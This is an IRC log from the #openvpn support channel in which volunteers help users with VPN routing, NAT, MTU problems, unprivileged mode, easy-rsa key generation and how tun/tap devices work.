14:04 < lattera> I have only a single client on the VPN
14:04 < pekster> Iti doesn't matter
14:05 < pekster> You're really not listening. The route you added hasn't made openvpn aware of the network. Thus OpenVPN is *unable* to route it
14:05 < lattera> hrmm, I think I see what you mean
14:05 < lattera> so I gotta switch to using ccd
14:07 < pekster> No real "switch" needed since you just need to add it and add the --iroute
14:07 < pekster> You should really use --route in the server config too instead of doing it outside openvpn
14:07 < pekster> (but that's up to you)
14:07 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
14:08 < pekster> You need to route to the server's IP though, not the client
14:08 < pekster> The kernel route sends it to "itself" (the peering IP on the PtP setup) and then the --iroute-ipv6 tells openvpn "which" client gets that forwarded traffic
14:08 < pekster> Which is, incidently, all explained:
14:08 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
14:08 < pekster> !clientlan
14:08 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
14:08 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
14:08 < pekster> (we have that info and flowchart for a reason)
14:11 < lattera> be back in a bit, gotta pick the wife up from work
14:23 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
14:23 < cj> hey folks
14:23 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
14:24 < cj> is it just me, or are all packets transmitted through an OpenVPN tunnel guaranteed to arrive?
14:24 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
14:24 < cj> I tried using it on an unreliable wireless network to do RTP and found that rather than dropping delayed packets, they were always delivered
14:25 < cj> the rest of the stream was delayed while the lost packets were re-transmitted
14:25 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:26 < cj> perhaps this is just a feature of the tap system, or maybe I could disable this reliability option by fiddling in my config file
14:26 -!- djjunde [~djjunde@dsl-espbrasgw1-54f9cf-178.dhcp.inet.fi] has joined #openvpn
14:26 < djjunde> hello
14:27 < cj> o/
14:28 < djjunde> im connected succesfully to my openvpn server through udp port 1194 and when i traceroute example google.com it shows that traffic routes through vpn server but i can't browse web
14:29 < djjunde> any clue why?
14:29 < djjunde> some kind of routing problem?
14:29 < cj> do you have NAT turned on at the opposite end?
14:29 < cj> I would use tcpdump on the remote end to find out
14:29 < pekster> cj: No, OpenVPN has no such guarenteed delivery (although it has a mechanism to internally handle the TLS control channel packets since TLS requires reliable delivery.) The data channel does absoutely no redelivery. TCP does, so if you're using TCP as your VPN transport, delivery is guaranteed
14:30 < cj> hmm... no, it should be udp.
14:30 < cj> maybe I was using tcp and didn't realize it.  I'm pretty sure that the remote end is listening on 5000 for tcp and 1194 for udp, so perhaps the local config was using 5000.
14:32 -!- andi [~andi@unaffiliated/fr00d] has quit [Read error: Operation timed out]
14:32 -!- thalweg [~quassel@198.211.102.196] has quit [Read error: Operation timed out]
14:33 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
14:33 -!- wykydtro- [tassadar@persephone.darkness-reigns.net] has joined #openvpn
14:33 -!- JackWinter [~jack@vodsl-9778.vo.lu] has quit [Read error: Operation timed out]
14:33 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
14:33 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
14:35 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has quit [Ping timeout: 252 seconds]
14:36 < djjunde> cj: yes there is NAT turned on
14:36 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
14:36 < vaillor> hi
14:39 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
14:39 < djjunde> tcpdump tells: "ICMP time exceeded in-transit, length 36"
14:39 < pekster> You have a routing loop somewhere
14:39 < pekster> !redirect
14:39 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:39 <@vpnHelper> http://ircpimps.org/redirect.png
14:40 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:44 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
14:45 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
14:56 < lattera> pekster: thanks for the help, everything works beautifully now
14:57 < lattera> brb, gonna reboot all affected machines and make sure they come back up with ipv6
14:57 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:58 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
14:58 -!- dimmATwerk [~testtube@unaffiliated/dimm0k] has joined #openvpn
14:59 < dimmATwerk> looking into "unprivileged mode" and was wondering if it's safe to do with my normal user account or if one should create a separate account just for openvpn?
15:00 < pekster> dimmATwerk: You mean downgrading runtime uid/gid via --user and --group?
15:01 < pekster> Standard practice these-days is to use a role-account for each service. The idea is as a final line of defense if the application is compromised so that the attacker has limited access. If you used "your own" user, the attacker could read, copy, delete files as you, and do anything else you could
15:02 -!- delinquentme [~asdfasdf@208-90-212-136.PUBLIC.monkeybrains.net] has joined #openvpn
15:02 < dimmATwerk> pekster: hrmm, that makes perfect sense!  thanks
15:02 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
15:02 < delinquentme> the contents of client.conf are pretty ... benign right?
15:03 < delinquentme> like for a user startup wiki i can easily create a public link to a template of this
15:03 < delinquentme> without having to worry about security compromises
15:06 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
15:06 < pekster> Only the private keys are "secret." Everything else can be considered public information without a technical risk (social risk is a different story, but not something #openvpn can fix)
15:07 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Read error: Operation timed out]
15:19 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:22 -!- delinquentme [~asdfasdf@208-90-212-136.PUBLIC.monkeybrains.net] has quit [Quit: Leaving]
15:25 < dimmATwerk> l/quit
15:25 -!- dimmATwerk [~testtube@unaffiliated/dimm0k] has quit [Quit: leaving]
15:25 -!- vaillor_ [~vaillor@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
15:26 -!- vaillor_ [~vaillor@2-226-37-187.ip179.fastwebnet.it] has quit [Client Quit]
15:27 -!- abecfive [~abecfive@50.34.6.130] has joined #openvpn
15:27 < abecfive> !welcome
15:27 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
15:27 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
15:32 < abecfive> goal: generating keys. current openvpn 64bit release (openvpn-install-2.3.1-I005-x86_64.exe) renamed openssl-1.0.0.cnf -> openssl.cnf (otherwise error). Now getting "string is too long, it needs to be less 2 bytes long". Appers to work though. Is that normal?
15:33 < abecfive> easy-rsa package obviously...
15:34 < djjunde> oh yeah!
15:34 < pekster> !easyrsa
15:34 <@vpnHelper> "easyrsa" is "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
15:34 < djjunde> pekster: thank you
15:34 < pekster> You can just download a copy from the github link
15:35 < djjunde> got problem solving to right track and got it work like a charm
15:35 < djjunde> it was routing problem with serverside router
15:36 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:36 < pekster> abecfive: You're better off grabbing a copy of the git master since there are patches that improve security that aren't in the latest published release. It's stable, if not a bit stale from a stock openssl.cnf config
15:37 < abecfive> pekster: will do, thanks.
15:44 < MacGyver> !tunnelblick
15:44 <@vpnHelper> "tunnelblick" is http://www.tunnelblick.net - Free OpenVPN GUI Client for Mac OS X
15:44 < MacGyver> Hmm.
15:44 < MacGyver> Does tunnelblick have a channel somewhere?
15:48 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
15:51 < pekster> No, but they have a mailing list on sf.net
15:53 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
16:03 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
16:05 -!- pagios [~pagios@46.19.194.111] has joined #openvpn
16:08 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 264 seconds]
16:09 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
16:10 -!- abecfive [~abecfive@50.34.6.130] has quit []
16:12 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:13 < deceptor> does anyone know why tls-auth is disabled in the openwrt package openvpn_2.2.2-2_ar71xx?
16:16 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 240 seconds]
16:18 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
16:20 -!- lattera [~shawn@2607:fc50:1:100::2] has left #openvpn ["thanks for all the help!"]
16:31 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:32 < hg_5> hi, anyone can help, i want to achieve this http://puu.sh/2C10u
16:34 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
16:34 < hg_5> i bridged 2 networks on tap interface, and pc2 is getting ip from 192.168.0.x, i dont know how to set that pc2 will get ip from VLAN2(from host openvpn server) ?
16:37 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Quit: AAAGH!  IT BURNS!]
16:42 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has joined #openvpn
16:43 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has left #openvpn []
16:49 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
16:51 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Ping timeout: 264 seconds]
16:56 < hg_5> anyone?
16:59 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
17:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
17:20 -!- vaillor_ [~vaillor@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
17:25 -!- vaillor_ [~vaillor@2-226-37-187.ip179.fastwebnet.it] has quit [Client Quit]
17:25 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:31 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
17:45 -!- deceptor [~dec@ip-95-222-187-203.unitymediagroup.de] has quit [Quit: Verlassend]
17:57 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
17:59 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
18:00 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
18:06 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:26 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 264 seconds]
18:29 -!- Devastator- [~devas@177.18.199.217] has joined #openvpn
18:30 -!- defswork [~andy@141.0.50.105] has joined #openvpn
18:30 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
18:34 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has joined #openvpn
18:35 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
18:45 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 264 seconds]
18:48 -!- defswork [~andy@141.0.50.105] has joined #openvpn
19:02 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 260 seconds]
19:07 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:10 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
19:15 -!- defswork [~andy@141.0.50.105] has joined #openvpn
19:17 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 245 seconds]
19:39 -!- newbie|2 [~tjz@bb119-74-164-84.singnet.com.sg] has quit [Quit: quit irc]
19:39 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
19:48 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
20:13 -!- Devastator- [~devas@177.18.199.217] has quit [Changing host]
20:13 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
20:13 -!- Devastator- is now known as Devastator
20:19 -!- NuclearMeltdown [~rep@unaffiliated/antiliberal] has quit [Ping timeout: 245 seconds]
20:31 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:03 -!- ZombieDahmer [ZombieDahm@c-67-169-147-158.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
22:03 -!- ZombieDahmer [ZombieDahm@c-67-169-147-158.hsd1.ca.comcast.net] has joined #openvpn
22:05 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has quit [Ping timeout: 240 seconds]
22:05 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 240 seconds]
22:05 -!- Matir [~matir@ubuntu/member/matir] has quit [Ping timeout: 240 seconds]
22:06 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
22:07 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
22:11 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
22:14 -!- [fred] [fred@konfuzi.us] has joined #openvpn
22:19 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Quit: AAAGH!  IT BURNS!]
22:26 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
22:28 -!- DrCode_ [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
22:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
22:29 -!- DrCode_ is now known as DrCode
22:33 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
23:00 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-zhfxdeiwurgcoinc] has quit [Ping timeout: 264 seconds]
23:00 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-ctbcworpkxlktbdl] has quit [Ping timeout: 264 seconds]
23:00 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-roeghtufuogtvnxk] has quit [Read error: Operation timed out]
23:01 -!- lmm [uid6417@gateway/web/irccloud.com/x-tjyhulzjmlolfwtq] has quit [Ping timeout: 245 seconds]
23:01 -!- b00gz__ [~uid6869@gateway/web/irccloud.com/x-iopghcssyjrwnwro] has joined #openvpn
23:01 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 240 seconds]
23:03 -!- [fred] [fred@konfuzi.us] has joined #openvpn
23:04 -!- Dennis84 [~dennis@mail.it-moebius.de] has quit [Ping timeout: 252 seconds]
23:04 -!- riot [~riot@eris.hackerfleet.org] has quit [Ping timeout: 252 seconds]
23:04 -!- Dennis84 [~dennis@mail.it-moebius.de] has joined #openvpn
23:04 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-djhtsqqvdfhfedmk] has joined #openvpn
23:05 -!- riot [~riot@eris.hackerfleet.org] has joined #openvpn
23:13 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
23:33 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
23:35 -!- folivora [~out@46.19.34.64] has quit [Ping timeout: 245 seconds]
23:43 -!- folivora [~out@46.19.34.64] has joined #openvpn
--- Day changed Thu Apr 18 2013
00:09 -!- Speck [~Speck@runwithcode.com] has joined #openvpn
00:10 < Speck> Anyone messed with uh, VPN connection in a VPN connection? :x
00:11 < Speck> Tunnelled to my university via OpenConnect, then to the subject's local network via openVPN. If I'm on campus (so I don't have to do the first step), the site will load fine. If I'm not, PHP pages that have more than checking $_GET and $_POST kind of lose their shit and never load. I can't tell if that's a PHP config issue, or something I'm missing on my connections.
00:12 < pekster> Sounds like pMTU discovery failure
00:13 < Speck> Iknowsomeofthosewords.gif
00:13 < Speck> Such as "sounds" and "like".
00:13 < Speck> Is that fixable on my end?
00:13 < pekster> Maybe with some toying with --fragment and --mssfix
00:13 < pekster> !factoids search fragment
00:13 <@vpnHelper> "fragment" is http://openvpn.net/archive/openvpn-users/2005-01/msg00411.html if getting FRAG_IN error
00:13 < pekster> !factoids search --values fragment
00:13 <@vpnHelper> No keys matched that query.
00:13 < Speck> I don't think I'm getting an error. OpenVPN seems p. quiet.
00:14 < Speck> Lemme launch them manually. One moment.
00:14 < pekster> Well, read --fragment in the manpage
00:14 < pekster> Or see if you can ping or otherwise transmit packets to your target across the VPN sized at your MTU
00:14 < Speck> I can view static pages.
00:15 < pekster> If they get lost yet smaller packets get through, you need to fix the MTU issues, or hack around it with --fragment and --mssfix
00:15 < Speck> Or content directories, or small-loading PHP pages.
00:15 < Speck> Okay.
00:15 < pekster> It's not about page type, but size
00:15 < Speck> Yeah, "small-loading" I meant simple. Sorry, tired.
00:15 < Speck> Is there any way to make openVPN complain about this so I can get a pointer?
00:15 < Speck> It's kind of quiet but the page won't load.
00:16 < pekster> MTU issues are generally because at least one router in the traffic path is dumb and the firewall won't return ICMP errors
00:16 < pekster> Sadly, lots of hosts are stupid like that
00:16 < Speck> So in which way do I have to fiddle with the configs?
00:17 < Speck> Increase or decrease values?
00:17 < pekster> The manpage reference I gave you has an entire several paragraphs on that subject
00:17 < Speck> Oh.
00:17 < pekster> After you read and learn from that, feel free to ask a smarter question (but not before then)
00:18 < Speck> Alright.
00:27 < Speck> pekster: Well, fixed.
00:27 < Speck> Thanks a lot! I've been trying for a couple of days on and off to get this working. :)
00:32 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 246 seconds]
00:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
00:46 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
00:48 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
01:00 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-xkoujxjhwrggvdbe] has joined #openvpn
01:00 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:00 -!- lmm [uid6417@gateway/web/irccloud.com/x-bxzmxwulkxtnyuvn] has joined #openvpn
01:16 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:22 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:22 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:22 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:27 -!- brute11k1 [~brute@89.249.231.180] has joined #openvpn
01:28 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:32 -!- brute11k [~brute@89.249.231.180] has quit [Ping timeout: 252 seconds]
01:32 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:32 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:32 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:32 -!- brute11k1 [~brute@89.249.231.180] has quit [Ping timeout: 256 seconds]
01:46 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
01:53 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:59 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
02:06 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
02:11 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:11 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
02:11 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
02:11 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
02:15 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
02:41 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
02:41 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:00 -!- brad [~brad@ninja.so] has quit [Remote host closed the connection]
03:07 -!- kubbing_ [~kubbing@ip-89-177-146-25.net.upcbroadband.cz] has joined #openvpn
03:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
03:14 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:19 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:19 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:19 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:31 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:31 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:31 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:31 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:40 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:41 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:41 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:41 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:48 -!- dazo_afk is now known as dazo
03:52 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:55 -!- kubbing_ [~kubbing@ip-89-177-146-25.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
03:57 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:57 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:57 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:31 -!- tabakhase [t4b4kh453@unaffiliated/tabakhase] has quit [Ping timeout: 276 seconds]
04:36 -!- tabakhase [t4b4kh453@rps9289.ovh.net] has joined #openvpn
04:44 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
04:45 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 245 seconds]
04:46 -!- xbanux1 [~xbanux@115.254.75.113] has joined #openvpn
04:47 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
04:50 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
04:50 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
05:06 -!- javacoder- [~javacoder@2.190.47.66] has joined #openvpn
05:07 < javacoder-> openvpn is a tun driver ?
05:07 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:09 <@dazo> javacoder-: nope ... but openvpn requires a tun/tap driver
05:10 < javacoder-> dazo: which segment of openvpn software implemetns tun/tap driver ?
05:10 <@dazo> javacoder-: openvpn doesn't implement any driver
05:10 -!- abec0_ is now known as abec0
05:11 <@dazo> openvpn just initialise the tun/tap device and read/write from/to the tun/tap device .... and that's covered in tun.c
05:11 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
05:12 < javacoder-> dazo: you mean for implemets a tun/tap driver i just need tun.c ?
05:12 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:12 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
05:12 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
05:13 < javacoder-> dazo: your mean is for implemets a tun/tap driver i just need tun.c ?
05:14 <@dazo> javacoder-: read the code, and you'll see what happens there .... init_tun(), open_tun(), read_tun(), write_tun(), close_tun()
05:21 < javacoder-> dazo: i think you are a expert user . can you help me ? : when there is a tun driver in the network , can i get destination ip and port for find this tcp packet where to go (final target of packet) ?? . i want to run a tun driver for forward any tcp traffic to tun ip and i get ip and port of destination and uses for a tunnling server (vpn)
05:25 <@dazo> javacoder-: I don't understand your question very well ... but to use the tun/tap *device*, that requires configuring it with an IP address and route traffic over that device.  Then you need to /read/ packets out from the tun/tap device and decode them.  If you use TUN mode, you will get IP packets.  If you use TAP mode, you will get Ethernet frames.  This is where you find the information you look for ...
05:25 < javacoder-> dazo: when tcp packet grab to tun driver in tcp header changes ip and port final destination(target of packet ) or no ?
05:25 <@dazo> but if you want to create a VPN between two end-points ... why not just use openvpn and configure it directly?
05:26 <@dazo> no, when you read data from the the tun/tap device ... nothing ever changes
05:27 <@dazo> but to get traffic hitting the tun/tap device ... you need to add routes passing traffic over your tun/tap device
05:27 < javacoder-> dazo: openvpn is great but my programming platform is java and all our business codes is under java
05:28 < javacoder-> dazo: maybe in this project i needs to work with c++ and native call
05:28 -!- xbanux1 [~xbanux@115.254.75.113] has quit [Read error: No route to host]
05:28 <@dazo> javacoder-: why do you need to implement openvpn inside your own software?
05:28 <@dazo> or you want to write a new VPN software?
05:29  * dazo smells over-engineering here
05:30 < javacoder-> dazo: my project is a new vpn software with vision feature
05:31 <@dazo> okay ... then it seems you need to first learn basic networking .... as that will answer one of your questions already .... please read !tcpip
05:31 <@dazo> !tcpip
05:31 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
05:32 <@dazo> then you need to start understanding the difference of IP packets and Ethernet frames, and how they are related and also how they are different ... and where to find the different fields in these packets
05:32 < javacoder-> dazo , vpnHelper: great channel with great users ;)
05:33 <@dazo> when you've reached that point ... you can start looking at implementing support for initialising, opening, reading and writing to a tun/tap device
05:33 < kisom> Hey look, his router accepts http requests
05:33 < kisom> I wonder what this button does
05:33 <@dazo> heh
05:34 < javacoder-> dazo: i know about tcp , ip , ethernet , etc but i dont know as well about tun/tap drivers mechanism and work flow
05:35 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: I'm outta here]
05:39 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:39 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:39 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
05:39 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
05:40 < javacoder-> dazo: i now write a proxy server and client (this is now a http proxy) and work as fine .but main problem is : when set ip;port of proxy server to FireFox , FireFox changes destination ip:port (main target) to http proxy and i dont want to work with http header , i want to get ip and port of detination and  then connect to ip:port ( destination) and send bytes of packet
05:41 <@dazo> javacoder-: well, tun/tap (and VPN) is not a proxy
05:41 <@dazo> tun/tap is a network interface, most often with a separate IP address and you use 'route' commands to configure which IP addresses will be routed via that tun/tap device
05:42 < javacoder-> dazo: yes but i can to grab tcp traffic by tun driver and get tcp packet
05:43 <@dazo> javacoder-: I'm sorry to say this ... but I think, currently, this task is over your capabilities .... you seem not to understand the concept of what a VPN and networking is and how it works under the hood
05:44 < javacoder-> dazo: ! but i wrote a proxy server !
05:44 <@dazo> A proxy server is not even remotely related to VPN, tun or tap
05:45 < Rienzilla> it also has to do with networking :)
05:45 <@dazo> and VPN, tun and tap are all related OS networking level ... it's not application level
05:45 < Rienzilla> in some respect :)
05:45 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
05:45 <@dazo> Rienzilla: yeah, on the application level ... not layer 3 and below
05:45 < Rienzilla> I know :)
05:47 < javacoder-> tap worked on layer 2 and tun in layer3
05:47 <@dazo> yes, and proxies work on layer 7
05:48 < javacoder-> yes proxy is a application layer worker
05:48 <@dazo> so proxy knowledge is not even relevant when you want to work with tun or tap ... when you are on layer 2 or layer 3, you work with raw network packets
05:48 < javacoder-> dazo: for this i want to work in layer 3 for get ip:port of destination tcp packet because in app layer i can not get this
05:49  * dazo talks to a wall
05:49 <@dazo>  javacoder-: sorry ... I can't help you
05:49 < javacoder-> dazo: anyway you help me very much TNQ dear
05:51 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has joined #openvpn
06:04 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
06:05 < javacoder-> dazo: dear david i read you answers again . maybe my english knowledge is bad ;)
06:06 < javacoder-> dazo: can i ask you about how can i do route traffic to a tun device ?
06:07 <@dazo> javacoder-: I'll grant you a last answer ... This last question proves you do not know basic TCP/IP network ... so, please read !tcpip *carefully*
